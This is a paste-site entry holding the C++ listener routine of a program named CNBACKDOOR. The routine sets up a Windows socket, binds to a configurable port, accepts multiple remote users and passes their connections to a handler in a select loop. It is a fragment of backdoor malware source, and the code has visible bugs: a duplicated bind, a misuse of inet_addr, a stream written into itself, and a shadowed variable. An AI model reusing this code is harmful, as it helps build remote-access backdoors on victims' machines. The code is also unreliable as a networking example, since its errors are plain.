All pastes #193136 Raw Edit

Something

public text v1 · immutable
·published 2006-10-06 16:24 UTC
rendered paste body
// listen mode
bool CNBACKDOOR::Listen()
{
	WSAData wsadata;
	if (log_opt.UseLog)
		std::cout << "[*] Starting a listener on port " << log_opt.port << std::endl;

	if (log_opt.UseLog)
		std::cout << "[*] WSAStartup initializing...";
	if (WSAStartup(MAKEWORD(2,2), &wsadata) != 0) {
		if (log_opt.UseLog)
			std::cout << " failed";
		return false;
	}
	if (log_opt.UseLog)
		std::cout << " done" << std::endl << "[*] Creating socket...";

	l_socket = socket(AF_INET, SOCK_STREAM, 0);
	if (l_socket == INVALID_SOCKET) {
		if (log_opt.UseLog)
			std::cout << " failed" << std::cout;
		WSACleanup();
		return false;
	}

	if (log_opt.UseLog)
		std::cout << " done" << std::endl << "[*] Binding socket...";

	l_sockaddr.sin_addr.s_addr = inet_addr(INADDR_ANY);
	l_sockaddr.sin_family = AF_INET;
	l_sockaddr.sin_port = htons(log_opt.port);
	bind(l_socket, (sockaddr*) &l_sockaddr, sizeof(SOCKADDR_IN));
	l_sockaddr.sin_addr.s_addr = htonl(INADDR_ANY);
	if (bind(l_socket, (sockaddr*) &l_sockaddr, sizeof(SOCKADDR_IN)) == -1) {
		if (log_opt.UseLog)
			std::cout << " failed" << std::endl;
		WSACleanup();
		return false;
	}

	if (log_opt.UseLog)
		std::cout << " done" << std::endl << "[*] Listening on socket " << l_socket << "...";

	if(listen(l_socket, log_opt.max_users) == -1) 
	{
		if (log_opt.UseLog)
			std::cout << " failed" << std::endl;
		WSACleanup();
		return false;
	}

	if (log_opt.UseLog)
		std::cout << " done" << std::endl;

	sockaddr_in user_info;
	int l_sockaddr = sizeof(user_info);
	if (log_opt.UseLog)
		std::cout << "[*] Waiting for incoming connections on port " <<
		log_opt.port << "..." << std::endl << std::endl;

	highest_sock = (int)l_socket;
	user_slots = new (std::nothrow) int[log_opt.max_users];
	assert(user_slots);
	for (unsigned int x = 0; x < log_opt.max_users; x++)
		user_slots[x] = 0;

	chandle_connections = new CHandleConnections(&log_opt);

	while(!log_opt.ForceClosed)
	{
		timeval timeout;
		if (log_opt.timeout)
		{
			timeout.tv_sec = log_opt.timeout;
			timeout.tv_usec = 0;
		}
		FD_ZERO(&fd_socks);
		FD_SET(l_socket, &fd_socks);

		for (unsigned int id = 0; id < log_opt.max_users; id++)
		{
			if (user_slots[id] != 0)
				FD_SET(user_slots[id], &fd_socks);
			if (user_slots[id] > highest_sock)
				highest_sock = user_slots[id];
		}

		int sel = select(highest_sock+1, &fd_socks, 0, 0, ((log_opt.timeout) ? &timeout : (timeval *)0));
		if (sel < 0)
		{
			if (log_opt.UseLog)
				std::cout << "[-] Select returned error" << std::endl;

			return false;
			break;
		}
		else if ((sel == 0) && (log_opt.timeout))
		{
			if (log_opt.UseLog)
				std::cout << ".";

			log_opt.TimeoutExpired = true;
			chandle_connections->KeepAlive(user_slots, &fd_socks, l_socket);
		}
		else
		{
			// theres something to read, handle it
			chandle_connections->HandleSockets(l_socket, user_slots, &fd_socks);
		}
	}	// while (true)
	return true;
}